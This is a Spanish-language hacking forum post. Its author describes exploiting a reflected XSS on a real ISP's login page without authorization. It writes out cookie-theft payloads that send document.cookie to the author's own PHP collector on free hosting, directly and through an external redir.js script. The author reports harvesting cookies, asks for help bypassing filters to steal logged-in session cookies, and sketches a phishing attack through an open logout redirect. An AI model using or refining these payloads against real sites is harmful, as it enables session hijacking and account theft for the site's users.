Que tal amigos del Hacking Web?!
Bueno, pues resulta que antes de ayer cai en una vulnerabilidad tipo XSS en la pagina de una ISP.
Bien, yo ESTABA LOGUED OUT, y se me ocurrio poner algo como
..vari="><script>alert();</script>
Bien, se ejecuto con ese sencillisimo XSS. Ahi pense .. pero que **** de filtros tiene, no?
Pues nada, me creo un dominio en un Hosting gratuito PHP.
Ahi pues pongo uno de los tipicos scripts en php para robar cookies y para que cree el archivo de texto. Le doy los permisos necesarios y me dirijo de nuevo a la web del ISP..
...vari="><script>document.location='
http://myfirst_hosting/mystuff/pred.php?x=' +escape(document.cookie);</script>
Bien, pues nada. Se ve que para mandar por GET si filtraban algo, LOGUED OUT.
Pues hago lo segundo ( creo ! ) que se suele hacer en estos casos para saltar esto. O sea, me creo otro hosting gratuito y ahi pongo mi script en javascript: ( redir.js ):
location.href = '
http://myfirst_hosting.com/mystuff/pred.php?x=' +escape(document.cookie);
Ahora, en la ISP:
...vari="><script src='
http://mysecond_hosting/mystuff/redir.js'>Ahora SI comienzo a recibir las cookies en el archivo de texto que crea el script en php.
El caso es que TODO esto lo hice logued out, asi que las cookies de sesion no las mandaba.
Ahora .. que rayos estaba haciendo?? Tenia que loguearme e intentarlo logueado no??
Pues bien, el caso es que el XSS esta en la pagina de loguin. Una vez que me logueo, si me mando un mail ( por ejemplo ) a mi Inbox ( soy user ) de la ISP y pincho sobre est ( con el <script src > ) ya no funciona.
Se me ocurrio la tonteria de hacer un hipervinculo con el link que te desloguea y despues, en una variable dentro de el link de redireccion de log out redirecciono a la pagina de login con la variable vulnerable pero.. da igual! ya estoy logued off de nuevo y las cookies de sesion ya no se encuentran.
Entonces no habia mas remedio que buscar, una vez logueado, un variable por GET facilona y que me resultara en un XSS. Bien, la encontre pero.. pero los filtros son bien ****.
O sea, los filtros parecen estar ON cuando estoy logueado y
los filtros paracen estar OFF cuando estoy deslogueado..
Pues esa variable via GET, si le introducia pues de nuevo
...vari="><script>aler(213);</script>
no sanizaba ningun metacaracter, por lo cual se producia el alert.
Ahora, de ahi a que pudiera ejecutar otra cosa ( jugar con el DOM para mandarme las cookies, con img src, script src... nada .. ) nada de nada.
He probado mil tipos de saltos de filtros, incluyendo todos los de RSnake!
Esta page tiene intentos de saltos de filtrado curiosos:
http://www.xssing.com/index.php?x=1Pero nada, encodeando y siempre teniendo en cuenta la posible entrada con ' "><.. ' nada.
Quisiera tomar consejo de los mas experimentados en estos casos y que me dijeran que puede estar ocurriendo ( ya que logued out si, logued on no ) y si hay algun modo de encontrar info que me lo aclare.
Muchas Gracias por vuestra atencion,
averno.
P.D: Suerte.
/**** MODIFIKO ****/
Y.. no creo que tenga nada que ver con el same domain policy de javascript, ya que no es el caso.
/**** MODIFIKO2 ****/
Ah... y si Admin/CoAdmins tienen mi IP, pues ya sabran de que page/ISP se trata

ya siendo un XSS reflejado no tendria por que haber problemas con restricciones de cross-domain policies..
/**** MODIFIKO3 ****/
Ah, y si es "vulnerable" ( he rozado uno ) a XSRFs, y he pensado alguno que otro. O sea, con la pagina de logout hay una variable "dest" que redirecciona a la pagina que yo quiera ( solo con presionar un link ). Por ello, un mail y phishing estan al alcance proximo ( que no voy ni a empezar a hacerlo ). /* Ya se, no es estrictamente XSRF */
Si le pones en la redireccion una page igual a la de la ISP, y con un "por favor, loguea de nuevo para no perder sesion" o algo asi, poca gente se detendra en que en la URL ha cambiado solo una letra, por ejemplo.
Pero, es que suena tan mal..
Y.. creo que HttpOnly en las cookies no esta definido. Es la impresion que tengo tras haber revisado/sniffado las cookies.... Asi que ( document.cookie ) iria bien aqui..
/* Nota:
Y que pasa con Firefox 3.0.10 .. por que no soporta HttpOnly cookies?? */
http://www.owasp.org/index.php/HTTPOnly /**** MODIFIKO4 ****/
Y no me suelo dedicar a estas cosas! Solo de vez en cuando que me aburro y prueba cosas via Web. Todo no va a ser leer, no. Hay q hacer el tonto a veces.